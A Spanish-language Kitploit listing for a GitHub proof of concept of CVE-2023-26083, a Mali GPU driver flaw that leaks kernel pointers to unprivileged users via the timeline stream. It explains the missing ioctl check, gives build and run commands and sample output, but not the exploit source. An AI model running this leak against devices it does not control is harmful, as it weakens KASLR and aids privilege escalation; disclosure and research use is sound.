Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-26083 — CVE-2023-26083-Mali-InfoLeak-PoC | Kitploit
Herramientas/GitHubGitHub/noverisp3/cve-2023-26083
Análisis de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad de Hardware e IoTAprendizaje y EducaciónExplotación de Binarios
GitHubnoverisp3/cve-2023-26083

CVE-2023-26083

CVE-2023-26083-Mali-InfoLeak-PoC

Ver Repositorio
12hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-26083 – Fuga de direcciones del kernel de Mali GPU a través de Timeline Stream

Este repositorio contiene una prueba de concepto (PoC) del exploit para CVE-2023-26083, una vulnerabilidad en el controlador de GPU Mali (Arm Mali GPU Kernel Driver) que permite a un usuario sin privilegios filtrar punteros del kernel e información interna sensible a través del timeline stream (/dev/mali0).

Resumen de la vulnerabilidad

El controlador de GPU Mali proporciona una función de "timeline stream" (tlstream) para perfilado y depuración. Este stream exporta eventos que contienen punteros crudos del kernel (p. ej., direcciones de kbase_context, kbase_gpu, kbase_lpu, espacios de direcciones, átomos, etc.). Normalmente, el acceso a este stream debería requerir el flag BASE_CONTEXT_CREATE_FLAG_MONITOR. Sin embargo, debido a una verificación de permisos ausente en el manejador KBASE_IOCTL_TLSTREAM_ACQUIRE, cualquier proceso (incluso sin el flag de monitor) puede obtener un descriptor de archivo para el timeline stream y leer direcciones de memoria del kernel.

Impacto:

  • Filtrar punteros del kernel neutraliza el ASLR del kernel (KASLR).
  • Combinado con otras vulnerabilidades (p. ej., use-after-free, escritura arbitraria), esto puede conducir a una escalada de privilegios o a la ejecución arbitraria de código en el kernel.
  • La fuga en sí misma expone el estado interno del controlador y puede utilizarse para la toma de huellas (fingerprinting).

Versiones afectadas

  • Versiones de Arm Mali GPU Kernel Driver anteriores a la corrección de CVE-2023-26083.

Compilar y ejecutar

Requisitos previos

  • Un dispositivo con GPU Mali (p. ej., Exynos, MediaTek, algunos SoC Rockchip).
  • No se requiere acceso root: la PoC funciona como usuario sin privilegios.
  • El kernel debe tener el controlador Mali integrado o como módulo (debe existir /dev/mali0).

Compilación

Dado que el código es autocontenido e independiente, puedes cruz-compilarlo fácilmente con herramientas estándar.

1. Para Android (recomendado)

Usa el NDK de Android para compilar para dispositivos ARM64. Se recomienda encarecidamente usar enlazado estático para evitar problemas de compatibilidad con el enlazador dinámico en diferentes versiones de Android:

aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c

2. Para escritorios/placas Linux basados en ARM

Si estás probando en una placa de desarrollo ARM (como Raspberry Pi u Odroid) que tenga una GPU Mali y ejecute una distribución Linux estándar:

gcc -static -o mali_tlstream_leak mali_tlstream_leak.c

Ejecución

./mali_tlstream_leak

El programa:

  1. Abre /dev/mali0.
  2. Realiza una verificación de versión.
  3. Establece los flags en BASE_CONTEXT_CREATE_FLAG_NONE (sin privilegio de monitor).
  4. Obtiene el timeline stream (ioctl vulnerable).
  5. Lee los paquetes del timeline durante unos segundos.
  6. Analiza y muestra las fugas de punteros del kernel (marcadas con *** KERNEL).

Ejemplo de salida

Nota: Esta prueba de concepto (PoC) se probó solamente en un Samsung Galaxy J7 Prime con Android 8.1.0 (Kernel 3.18) y el nivel de parche de seguridad del 1 de abril de 2020.

on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)

Raw hex dump (3805 bytes):

0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54

Parsing packets:

Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0
Descargar herramienta